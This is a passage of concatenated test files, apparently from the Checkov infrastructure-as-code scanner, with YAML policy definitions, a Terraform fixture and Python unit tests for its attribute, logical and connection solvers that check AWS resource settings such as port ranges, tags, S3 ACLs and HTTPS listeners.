self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesInt.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeNotIncludesInt" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_not_includes" value: 3000 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeNotIncludesList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_not_includes" value: - "3001" - 3000 - 3002 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesListWRange.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeNotIncludesListWRange" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_not_includes" value: - 200 - 3000-4000 - "400-500" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathRangeNotIncludesString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "jsonpath_range_not_includes" value: "3000" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesInt.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeNotIncludesInt" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_not_includes" value: 3000 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeNotIncludesList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_not_includes" value: - "3000" - 3001 - "3002" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesListWRange.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeNotIncludesListWRange" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_not_includes" value: - 200 - 3000-4000 - "400-500" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "RangeNotIncludesString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "range" operator: "range_not_includes" value: "3000" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/resources/main.tf ================================================ resource "test" "pass1" { range = "*" } resource "test" "pass2" { range = 3000 } resource "test" "pass3" { range = "3000" } resource "test" "pass4" { range = "3000-4000" } resource "test" "pass5" { range = "2000-3000" } resource "test" "pass6" { range = "2000-4000" } resource "test" "pass7" { range = ["2000-2500","3000"] } resource "test" "fail1" { range = 2000 } resource "test" "fail2" { range = "2000" } resource "test" "fail3" { range = "1000-2000" } resource "test" "fail4" { range = "4000-5000" } resource "test" "fail5" { # no range } resource "test" "fail6" { range = "abc" } resource "test" "fail7" { range = "abc-123" } resource "test" "fail8" { range = "1000-5000-6000" } resource "test" "fail9" { range = ["1000-2900","3100-4000"] } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestRangeNotIncludesSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestRangeNotIncludesSolver, self).setUp() def test_range_not_includes_int_solver(self): root_folder = 'resources' check_id = "RangeNotIncludesInt" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_string_solver(self): root_folder = 'resources' check_id = "RangeNotIncludesString" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_int_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeNotIncludesInt" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_string_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeNotIncludesString" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_list_solver(self): root_folder = 'resources' check_id = "RangeNotIncludesList" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeNotIncludesList" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_list_w_list_solver(self): root_folder = 'resources' check_id = "RangeNotIncludesListWRange" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7', 'test.fail4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_range_not_includes_list_w_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathRangeNotIncludesListWRange" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7', 'test.fail4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8', 'test.fail9'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/TagPrefix.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagPrefix" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_instance" - "aws_subnet" attribute: "tags.Name" operator: "regex_match" value: "acme\\-.+" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestRegexMatchSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestRegexMatchSolver, self).setUp() def test_regex_match_solver_simple(self): root_folder = '../../../resources/tag_includes' check_id = "TagPrefix" should_pass = ['aws_instance.some_instance'] should_fail = ['aws_subnet.acme_subnet'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/NameStartingWith.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NameStartingWith" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_subnet" attribute: "tags.Name" operator: "starting_with" value: "first" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/UnrenderedVar.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "UnrenderedVar" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "starting_with" value: "abcdefg" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestStartingWithSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestStartingWithSolver, self).setUp() def test_name_starting_with(self): root_folder = '../../../resources/public_virtual_machines' check_id = "NameStartingWith" should_pass = ['aws_subnet.subnet_public_ip'] should_fail = ['aws_subnet.subnet_not_public_ip'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "UnrenderedVar" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/Subset1.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "Subset1" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "x" attribute: "arr" operator: "subset" value: - "allowed1" - "allowed2" - "allowed3" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestSubsetSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestSubsetSolver, self).setUp() def test_subset_solver_simple(self): root_folder = '../../../resources/arrays' check_id = "Subset1" should_pass = ['x.pass1', 'x.pass2', 'x.pass3', 'x.pass4'] should_fail = ['x.fail1', 'x.fail2', 'x.fail3', 'x.fail4'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/within_solver/NameWithin.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NameWithin" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_subnet" attribute: "tags.Name" operator: "within" value: - "first-tf-example" - "third-tf-example" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/within_solver/UnrenderedVar.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "UnrenderedVar" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "within" value: - "abcdefg" - "xyz" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/within_solver/WildcardWithin.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "WildcardWithin" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_xyz" attribute: "arr.*" operator: "within" value: - "allowed1" - "allowed2" - "allowed3" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/within_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/within_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestWithinSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestWithinSolver, self).setUp() def test_name_starting_with(self): root_folder = '../../../resources/public_virtual_machines' check_id = "NameWithin" should_pass = ['aws_subnet.subnet_public_ip'] should_fail = ['aws_subnet.subnet_not_public_ip'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_wildcard(self): root_folder = '../../../resources/array_test' check_id = 'WildcardWithin' should_pass = ['aws_xyz.pass1', 'aws_xyz.pass2', 'aws_xyz.pass3'] # TODO fail1 needs to fail here, but for now we are just skipping the resource, because it's a larger discussion on how to handle wildcard matches. should_fail = ['aws_xyz.fail2', 'aws_xyz.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_within_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "UnrenderedVar" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/and_solver/BucketsWithDevEnvAndPrivateACL.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "BucketsWithDevEnvAndPrivateACL" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Dev" - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "acl" operator: "equals" value: "private" ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/and_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/and_solver/test_solver.py ================================================ from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver import os TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestAndQuery(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestAndQuery, self).setUp() def test_buckets_with_option_env_tag(self): root_folder = '../../../resources/s3_bucket_2' check_id = "BucketsWithDevEnvAndPrivateACL" should_pass = ['aws_s3_bucket.private'] should_fail = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/not_solver/BucketsWithDevEnvAndPrivateACL.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NotTest" scope: provider: "AWS" definition: not: and: - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Dev" - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "acl" operator: "equals" value: "private" ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/not_solver/NotWithNestedDict.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NotWithNestedDict" scope: provider: "AWS" definition: not: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Dev" ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/not_solver/NotWithNestedList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NotWithNestedList" scope: provider: "AWS" definition: not: - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Dev" ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/not_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/not_solver/test_solver.py ================================================ from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver import os TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestNotQuery(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestNotQuery, self).setUp() def test_buckets_with_option_env_tag(self): root_folder = '../../../resources/s3_bucket_2' check_id = "NotTest" should_fail = ['aws_s3_bucket.private'] should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_simple_not_with_list(self): root_folder = '../../../resources/s3_bucket_2' check_id = "NotWithNestedList" should_fail = ['aws_s3_bucket.private'] should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_simple_not_with_dict(self): root_folder = '../../../resources/s3_bucket_2' check_id = "NotWithNestedDict" should_fail = ['aws_s3_bucket.private'] should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/or_solver/BucketsWithEnvTag.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "BucketsWithEnvTag" scope: provider: "AWS" definition: or: - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Dev" - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "equals" value: "Prod" ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/or_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/complex_solvers/or_solver/test_solver.py ================================================ from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver import os TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestOrQuery(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestOrQuery, self).setUp() def test_buckets_with_option_env_tag(self): root_folder = '../../../resources/s3_bucket_2' check_id = "BucketsWithEnvTag" should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.private'] should_fail = ['aws_s3_bucket.non_tag'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/ALBConnectedToHTTPS.yaml ================================================ metadata: id: "ALBConnectedToHTTPS" name: "Ensure that ALB redirects HTTP requests into HTTPS ones" category: "NETWORKING" definition: and: - cond_type: "filter" value: - "aws_lb" attribute: "resource_type" operator: "within" - cond_type: "attribute" resource_types: - "aws_lb" attribute: "load_balancer_type" operator: "equals" value: "application" - or: - cond_type: "connection" resource_types: - "aws_lb" connected_resource_types: - "aws_lb_listener" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_lb" connected_resource_types: - "aws_lb_listener" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "certificate_arn" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "ssl_policy" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "protocol" operator: "equals" value: "HTTPS" ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/AndComplexConnection.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: AndComplexConnection scope: provider: AWS definition: and: - cond_type: filter value: - aws_network_interface - aws_instance operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - aws_instance connected_resource_types: - aws_network_interface - or: - cond_type: attribute attribute: tags.Env operator: equals value: prod resource_types: - aws_instance - aws_network_interface - aws_subnet - aws_vpc - cond_type: attribute attribute: tags.Env operator: not_exists resource_types: - aws_instance - aws_network_interface - aws_subnet - aws_vpc ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ConnectionSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ConnectionSolver, self).setUp() def test_and_connection(self): root_folder = '../../../resources/ec2_instance_network_interfaces' check_id = "AndComplexConnection" should_pass = ['aws_network_interface.network_interface_foo'] should_fail = ['aws_network_interface.network_interface_goo', 'aws_instance.instance_bar', 'aws_instance.instance_foo'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_multiple_connections(self): root_folder = '../../../resources/lb' check_id = "ALBConnectedToHTTPS" should_pass = [] should_fail = ["aws_lb.lb_bad_1"] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/NetworkInterfaceForInstance.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NetworkInterfaceForInstance" scope: provider: "AWS" definition: cond_type: "connection" resource_types: - "aws_instance" connected_resource_types: - "aws_network_interface" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/S3BucketPolicyDataSource.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "S3BucketPolicyDataSource" definition: and: - cond_type: filter attribute: resource_type operator: within value: - aws_s3_bucket - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_policy operator: exists - cond_type: connection resource_types: - aws_s3_bucket_policy connected_resource_types: - data.aws_iam_policy_document operator: exists - cond_type: attribute resource_types: - data.aws_iam_policy_document attribute: statement.resources operator: not_contains value: "*" ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/VPCForSubnet.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "VPCForSubnet" scope: provider: "AWS" definition: cond_type: "connection" resource_types: - "aws_subnet" connected_resource_types: - "aws_vpc" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/test_solver.py ================================================ import os from pathlib import Path from parameterized import parameterized_class from checkov.runner_filter import RunnerFilter from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ConnectionSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ConnectionSolver, self).setUp() def test_connection_found(self): root_folder = '../../../resources/ec2_instance_network_interfaces' check_id = "NetworkInterfaceForInstance" should_pass = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_output_connection(self): root_folder = '../../../resources/output_example' check_id = "VPCForSubnet" should_pass = ['module.submodule.aws_vpc.my_vpc','aws_subnet.my_subnet'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_data_connection(self): root_folder = "../../../resources/s3_bucket_policy" check_id = "S3BucketPolicyDataSource" should_pass = ["aws_s3_bucket.good"] should_fail = ["aws_s3_bucket.bad"] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_reduce_graph_by_target_types(self): # given check_id = "VPCForSubnet" resources_path = Path(__file__).parents[3] / "resources" self.runner.run(root_folder=str(resources_path), runner_filter=RunnerFilter(checks=["VPCForSubnet"])) graph_connector = self.runner.graph_manager.db_connector.graph check = next(check for check in self.registry.checks if check.id == check_id) # when reduced_graph = check.solver.reduce_graph_by_target_types(graph_connector) # then if self.graph_framework == 'NETWORKX': assert len(graph_connector.nodes) >= 661 assert len(graph_connector.edges) >= 327 assert len(reduced_graph.nodes) <= 85 assert len(reduced_graph.edges) <= 20 elif self.graph_framework == 'RUSTWORKX': assert len(graph_connector.nodes()) >= 661 assert len(graph_connector.edges()) >= 327 assert len(reduced_graph.nodes()) <= 85 assert len(reduced_graph.edges()) <= 20 ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/NoNetworkInterfaceForInstance.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NoNetworkInterfaceForInstance" scope: provider: "AWS" definition: cond_type: "connection" resource_types: - "aws_instance" connected_resource_types: - "aws_network_interface" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ConnectionSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ConnectionSolver, self).setUp() def test_connection_not_found(self): root_folder = '../../../resources/ec2_instance_network_interfaces' check_id = "NoNetworkInterfaceForInstance" should_pass = ['aws_network_interface.network_interface_goo', 'aws_instance.bar'] should_fail = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/VPCHasOneOfWantedFlowLogs.yaml ================================================ metadata: name: "Ensure a specific VPC flow log exists in VPC's flow logs" category: "LOGGING" id: "VPCHasOneOfWantedFlowLogs" definition: and: - resource_types: - aws_vpc connected_resource_types: - aws_flow_log operator: one_exists attribute: networking cond_type: connection - resource_types: - aws_flow_log cond_type: attribute operator: equals attribute: log_destination_type value: "s3" - resource_types: - aws_flow_log cond_type: attribute operator: equals attribute: log_destination value: "arn:aws:s3:::test-bucket" - cond_type: filter attribute: resource_type value: - aws_vpc operator: within ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import 